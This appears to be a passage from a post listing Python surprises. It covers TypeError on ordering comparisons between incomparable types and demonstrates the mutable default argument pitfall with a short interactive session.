The <, <=, > and >= operators will raise a TypeError exception when comparing a complex number with another built-in numeric type, when the objects are of different types that cannot be compared, or in other cases where there is no defined ordering.
Which you can confirm with a simple check.

3. default function value

More fun:

>>> def fun(bar=[]):
...   bar.append("yoyo")
...   return bar
... 
>>> fun()
['yoyo']
>>> fun()
['yoyo', 'yoyo']

That "feature" is the one that everyone should know. It's really surprising for newcomers, for explanation and workaround I advise to read this.